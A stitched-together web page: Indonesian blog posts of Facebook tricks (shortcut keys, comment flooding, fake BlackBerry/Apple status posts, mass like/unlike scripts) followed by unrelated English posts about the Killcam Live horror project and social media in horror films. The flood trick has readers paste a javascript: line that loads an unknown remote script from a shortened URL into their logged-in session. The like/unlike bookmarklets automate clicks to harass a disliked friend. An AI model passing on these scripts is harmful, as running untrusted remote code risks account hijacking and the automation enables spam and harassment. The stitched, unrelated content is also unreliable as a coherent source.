Kode dan Tombol Rahasia Facebook

Kode dan Tombol Rahasia Facebook

Tombol Rahasia Facebook memang sudah ada sejak dulu. kode rahasia facebook atau dikenal dengan kode dan tombol rahasia facebook ini unik dan mungkin bagi anda yang belum pernah mencobanya. Facebook juga di beri kemudahan untuk mengakses semisal kita ingin masuk ke halam Profile kita tan menggunakan mouse..

Uniklah kaya di komputer tombol perintah di komputer aja... Mau tau tombol dan kode rahasia facebook, bisa di lihat di bawah ini :

shift + alt + 1 = home
shift + alt + 2 = profile
shift + alt + 3 = permintaan pertemanan
shift + alt + 4 = pesan
shift + alt + 5 = pemberitahuan
shift + alt + 6 = edit account
shift + alt + 7 = settings privasi
shift + alt + 8 = penggemar facebook
shift + alt + 9 = statement of rights and responsibilities
shift + alt + 0= pusat bantuan

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Banjiri Status Facebook Dengan Ratusan Komentar

Cara flood komentar facebook : Apakakah anda tau arti flood ? ya, flood  berasal dari bahasa inggris dan dalam bahasa indonesia adalah banjir. Apa hubungan banjir dengan facebook? kali ini bukan banjir seperti bencana alam biasanya, banjir yang akan di bahas adalah banjir komentar di profil facebook seseorang. Buat apa membanjiri komentar di profil orang ? Nah jika anda ingin iseng atau usil pada seseorang maka anda dapat menggunakan trik di bawah ini , cukup mudah dan simple.
Hem, namun jangan gunakan trik di bawah ini berlebihan anda dapat di blokir teman anda atau bahkan facebook.com .
Langsung saja saya bahas bagaimana cara flood komentar facebook seseorang :

Anda masuk ke status seseorang, dengan cara klik bagian waktu teman anda update status, kemudian masukan code berikut di addres bar (tempat memasukan alamat/url). ini code java sriptnya:

javascript:(a = (b = document).createElement("script")).src = "http://goo.gl/1ueD3", b.body.appendChild(a); void(0);

Setelah code javasriptnya di copas di addres bar, lalu Enter. Maka akan muncul pesan box dan masukan isi serta jumlah komentar yang ingin anda inginkan. Hahahaahaaa.....banjir komentar tu statnya :D

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Update Status Facebook Via BlackBerry dan Apple

Update Status Facebook Via BlackBerry dan Apple

Yang pengen update status via BlackBerry dan Apple tapi gak punya Hp nya!!! haha...

Tenang...,sahabat bisa update status facebook yang seolah-olah dari BlackBerry atau dari Apple, tentunya gak harus beli Hp nya yang mahal itu :D

Caranya mudah sekali. Silahkan login dulu ke facebook, kalau sudah dalam keadaan login tinggal isikan status sahabat di bawah ini.

Update Status Via BlackBerry

http://www.facebook.com/connect/prompt_feed.php?api_key= 2254487659

Update Status Via Apple

http://www.facebook.com/connect/prompt_feed.php?api_key= 202112629875572

 

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Cara Boom Like di Facebook

Terkadang, kita suka mangkel ke teman kita karena masalah yang sepele, saya meluangkan kekesalan tersebut dengan cara boom like status di facebook, mungkin cara kalian berbeda, tetapi saya yakin cara ini cukup efektif untuk membalas dendam kekesalan kita hahahaha ..
langsung aja deh ..

Buat Like, masukan Script berikut di addres bar propil kita sendiri atau milik orang lain (addres bar itu tempat buat masukin URL) :

javascript:var i=0;ex=0;s=0;function EXP_ALL(){ExpandComm = document.getElementsByTagName("input");for(e = 0; e < ExpandComm.length; e++){myClass = ExpandComm[e].getAttribute("class");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(ExpandComm[e].getAttribute("name") == "view_all")ExpandComm[e].click()}}function JEMPOLERS(){jempol = document.getElementsByTagName("button");for(j = 0; j < jempol.length; j++){myClass = jempol[j].getAttribute("class");if(myClass != null && myClass.indexOf("like_link") >= 0)if(jempol[j].getAttribute("name") == "like")jempol[j].click()};}function JEMPOLERC(){buttons = document.getElementsByTagName("button");for(x = 0; x < buttons.length; x++){myClass = buttons[x].getAttribute("class");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(buttons[x].getAttribute("title") == "Like this comment")buttons[x].click()};}function updateTime(){ex=ex+1;i=i+1;s=s+1;if (ex==5){EXP_ALL();ex=0};if (s==5){ex=0;JEMPOLERS();s=0};if (i==2){JEMPOLERC();i=0;}}alert('-==[FB STATUS & COMMENTS LIKE GENERATOR]==-\n\nScript by[./Forbiden-403] ');updateTime();window.setInterval(updateTime, 1000);void(0)

 Buat script boom anti like Di bawah ini .. (caranya sama masukan di Addres Bar) :

javascript:var i=0;ex=0;s=0;function EXP_ALL(){ExpandComm = document.getElementsByTagName

    ("input");for(e = 0; e < ExpandComm.length; e++){myClass = ExpandComm[e].getAttribute

    ("c...lass");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(ExpandComm[e].getAttribute

    ("name") == "view_all")ExpandComm[e].click()}}function JEMPOLERS(){jempol =

    document.getElementsByTagName("button");for(j = 0; j < jempol.length; j++){myClass = jempol

    [j].getAttribute("class");if(myClass != null && myClass.indexOf("like_link") >= 0)if(jempol

    [j].getAttribute("name") == "unlike")jempol[j].click()};}function JEMPOLERC(){buttons =

    document.getElementsByTagName("button");for(x = 0; x < buttons.length; x++){myClass = buttons

    [x].getAttribute("class");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(buttons

    [x].getAttribute("title") == "Unlike this comment")buttons[x].click()};}function updateTime(){ex=ex

    +1;i=i+1;s=s+1;if (ex==5){EXP_ALL();ex=0};if (s==5){ex=0;JEMPOLERS();s=0};if (i==2){JEMPOLERC();i=0;}}

    alert('-==[FB STATUS & COMMENTS UNLIKE GENERATOR]==-\n\nScript by [./Forbiden-403]\n\modif by -

    catatan-alfa-');updateTime();window.setInterval(updateTime, 1000);void(0)

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Killcam Live: Is this Interactive Horror Experience the Future?

A while back, I posted this article called "5 Social Media Sites that would reinvent the horror movie". I asked why horror movies don't use Twitter, FourSquare, YouTube, Facebook and ARG's more effectively. But now it seems the creators of KillCam Live have done just that. They're telling a horror narrative using YouTube and then for 72 hours give you a chance to interact with a character via a live cam, where YOU decide if the characters lives or dies by performing some sort of task (either creating a YouTube mashup or spreading the word about KillCam). This was totally under my radar until I read Dread Central's posts on the subject (here and here).

I've now watched all 5 episodes that are currently online via their YouTube channel and Monday, will go on their Live Cam where according to the press release:

Every Thursday through December, an episode will play out online, moving the story forward in typical narrative format. The following Monday through Thursday morning of each week will host a LIVE 72-hour period in which one of the students will be trapped in a room, awaiting their horrific fate. During that period, the audience will be able to interact with the character via video, Facebook, Twitter (@killcam_live) and online chat.

(Entire Press Release is below)

To catch up on episodes 1-4, check out this site.

Interesting concept and I'm kind of excited to check out the live cam tomorrow. But I'm seeing a few problems so far. The "characters" haven't gotten many Twitter followers or Facebook fans. Clearly, I think this would be difficult in any circumstance when you've created a character profile for an ARG that not people are really aware of as of yet. With so many characters and subplots, there doesn't seem to be a central location for everybody to check out all the hidden pieces of the entire KillCam experience. I think it's a bit disorganized and as a noob it was difficult to find out what users did as they interacted with the characters. But I'll check out the live cam and join in to get the full experience.

I'll definitely report back on how it went.

Here's the press release. (via Dread Central) What do you all think of this?

With almost a million live views and counting, viewers from every continent have become part of a growing "Killmunity", participating in a LIVE interactive horror project. With viewers interacting directly with characters from the ongoing storyline, Killcam: Live is single-handedly changing the way that audiences are interacting with their entertainment.

Like a wildfire sweeping the net, Killcam: Live has set multiple records with streaming powerhouse Stickam , and website killcamlive.com has already called audiences to stand witness to the brutal killings of three of the story's main characters and one surprise death brought about by the cries of the interactive audience. With each new week more and more "super fans" are being born, transitioning from curious bystanders to actual characters in the story itself. Audience members have created entire blogs devoted to play-by-play breakdowns of the episodes and the characters in them.

Each week viewers participate in a "Cill Contest", ripping footage from the episodic narrative and live footage and cutting together their own recap videos to bring new viewers up-to-date. With four weeks left in the story, there's no telling what will come next. No one is safe! Not even the audience.

Killcam: Live is the transmedia brainchild of producer April Wade (@actoraprilwade) and filmmaker Canyon Prince (@canyonprince). Part digiseries, part interactive real time experience, and part feature film, Killcam: Live is the next stage in the evolution of storytelling. The project follows a group of students as they willingly agree to participate in a social experiment put on by their charming psychology professor Michael Grayson (played by J. Michael Briggs). The experiment is meant to explore the effects of current human dependence on technology and social media as the majority form of communication. During the ongoing experiment, the students will be isolated from each other and their only way to communicate with the outside world will be through social media. However, someone has a different agenda in mind as things start to take a turn for the worse.

Every Thursday through December, an episode will play out online, moving the story forward in typical narrative format. The following Monday through Thursday morning of each week will host a LIVE 72-hour period in which one of the students will be trapped in a room, awaiting their horrific fate. During that period, the audience will be able to interact with the character via video, Facebook, Twitter (@killcam_live) and online chat. The audience will be able to inform the characters (in real time) what is happening and possibly even aid them in their escape...or demise.

"We are looking to bring a heightened level of interactivity to the audience" says Wade, "and we feel that this projects is on the cutting edge of a new age of storytelling. As filmmakers today, we have an international platform for our stories that never existed before and I am thrilled to be experimenting with creative ways to use social media to shape the film."

Prince adds, "We're moving farther and farther away from a traditional storytelling model. As people continue to consume more and more content via mobile devices, it's detrimental and entirely counter-productive for us not to take advantage of the enormous opportunities that interactive multiple screen storytelling opens up." Wade and Prince, along with Spence Griffeth, who penned the screenplay, developed the concept and story. Shot on the Red MX One, the narrative episodic of the show, as well as the feature film wraparound, was helmed by John Darko, lensed by David M. Brewer and executive produced by Ahmed al Baker and Mohammad Il Abrahim. Recently Darko and Brewer worked closely together on James Wan and Leigh Whannell's feature film Insidious from Lionsgate.

5 Social Media Sites that would reinvent the horror movie

I've been thinking a lot how our lives have all changed with social media. I check my iPhone constantly. On the train to work, waiting for my food, on the shitter (yeah you do it, don't lie).

I'm pretty sure 95% of the people who are reading this are on Facebook. I'm betting 60% are on Twitter. Maybe 30% on Foursquare.



The funny part is that our horror movies don't reflect this. Every new horror movie you see, some poor soon to be dead schmuck is still on his Nokia flip phone. OK maybe I'm exaggerating as iPhones and Droids have popped up and touchscreens are the new cool phone (if there are appropriate product placement dollars anted up). But I figure that horror movies have always pushed the boundaries of being creative. Horror has always gone over the edge be it in their tolerance for gore or via nudity. It's the one genre where gimmicks can be experimented with to see how an audience will react.



So if I had my own studio, I'd start to try out new gimmicks. There have been preliminary attempts to incorporate social media into horror. Check out this pilot concept via Germany called Last Call where users would submit their number and one of the characters would call a random person in the theater asking for help. It's a different concept where a midnight crowd would have fun with. But I'd take it a step further.



Why not intertwine all 5 social media sites into your movie? Blend in real life with fiction. If you're thinking this sounds like an ARG (alternate reality game) you're not to far off. So I've listed below the benefits of how we could blend Web 2.0 into a horror movie. Of course this won't succeed without an actual awesome plot, colorful and interesting characters and kill scenes that are creative and inventive. And if it's a slasher film, we'll need a standout slasher with an aura of mystery. But look at the benefits these social media sites could offer. Here is what I would do.



5.) ARG



the jaded viewer says: OK not really a social media site, playing an ARG say on the official site would set the stage months before the release date of the movie. This has worked well with video games and movies already so its proven it drives interest into your film. This would be way above EA's Majestic but more in line with what ABC did with Lost or WB's The Dark Knight.



Say in order to solve a cryptic message from our killer, players had to go to real life places all around a major city or around the web. Sites would be created solely to make an intricate web of direction and misdirection. Back story could be filled in via fake sites and news articles.



The best thing an ARG does is to mix real world with fake world. Flyers in one city with a clue or a billboard in another city with another clue would build up hype like nothing that's ever been done before. An ARG is perfect for a horror movie, plain and simple.



4.) Facebook



the jaded viewer says: Obviously fake Facebook profiles are all the rage. Tons of movies have done them to create interest for their flicks. A Facebook page is one thing, but the creation of Facebook profiles and their friends from the movie would make it all seem to eerily real. This plays into the ARG of it all and tons of cool shit could be done. Weird Facebook messages left on our characters walls weeks before the "supposed events of the movie". That's some solid ARG-ing. Photos of said people would probably add some love to our characters (or fuel hatred for the haters). In any case, Facebook has to play a part in this because of its massive reach.



The best part is that you could add them as a friend and comment on their status updates. I mean obviously the Internet would be fueled by racist and dumb comments (its gonna happen) but for the people who want to play along, it's kinda cool.



3.) YouTube



the jaded viewer says: Obviously viral videos will play a part in intertwining our movie with our ARG. Footage of our characters or mock crime footage would play an appropriate part in getting the viewer intrigued. But I would take it a step further.



Just like the Last Call gimmick, I'd show a scene where our characters "discover" the footage online and the only way to see it is to go online and check it out. This would happen while watching the movie. OK OK. I know what your saying. Use your phone during a movie? WTF DUDE!!!



First the 3G would crazy explode (here's hoping WIFI can be installed in the theater). Plus who wants to fuckin start YouTubing during the movie. It's dark, its annoying and people are gonna get upset they have to do this. I'm thinking the same thing.



But KNOWING this is part of the movie would give it a cult film-ish feel. Like you're playing a part in the movie. I'm thinking you maybe could download this video before you go to the theater to avoid the massive bandwidth issues. Think if the views this video would get during each screening. I mean somebody could watch the video before they see the flick. It wouldn't make sense without any context but I'm sure a majority would go in to see the film blind and adhere to the social media rules.



It's only a problem if somebody doesn't want to play along and I think it's kinda fun to get to watch what the characters are watching and somehow piecing it all together.



2.) Foursquare



the jaded viewer says: The new kid on the block. How can checking into places be scary? Well by possibly leaving traces of where our characters are in relation to say the killer. I'm not Foursquare user but I figure somehow we can bleed Foursquare into real life locations. Maybe even use it to make fake locations where viewers can follow where our characters have been. It would also add a level of suspense by our killer or killers.



Killer X is now the mayor of the Leatherface Chainsaw factory.



or



Johnny Victim unlocked the "Being a douchebag" badge.



Clearly, I'm not really thinking this out to much but I'm sure we can make location play a factor into our movie.



1.) Twitter



the jaded viewer says: Clearly, this would be the apex of all social media tools to use in a horror movie. Viewers would follow the characters or the killer or whoever to see what they may be tweeting. And the thing is it would be a silent partner. What does that mean?



At different points in the flick, maybe during some discovery or tense scene, you'd have to check a characters Twitter account to see what's the what. The stuff happening on Twitter might be something happening off camera. I'd even go as far as when the movie premiered, it would be a live Twitter feed. I'm sure it would be hard to not check out the Twitter feed before the movie premiered. Maybe add a few tweets creating some pre-story and having that intertwine with the ARG, Facebook, YouTube and Foursquare elements.



Twitter's real timey-ness makes it a perfect tool to merge social media with horror.

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Well these are just a few ideas rolling around my head. I'd like to think social media could amplify a horror movie in a way that's never been done before. I'm not that creative to come up with a story where all these things play a part but I'm sure somebody is. There have been movies where social media is a plot point in a horror movie but using the technology in a way where it blends reality/faux-reality has at least got to be attempted.



Now that I think of it, this is either the best idea I've ever had or the worst. Tweet me what you think.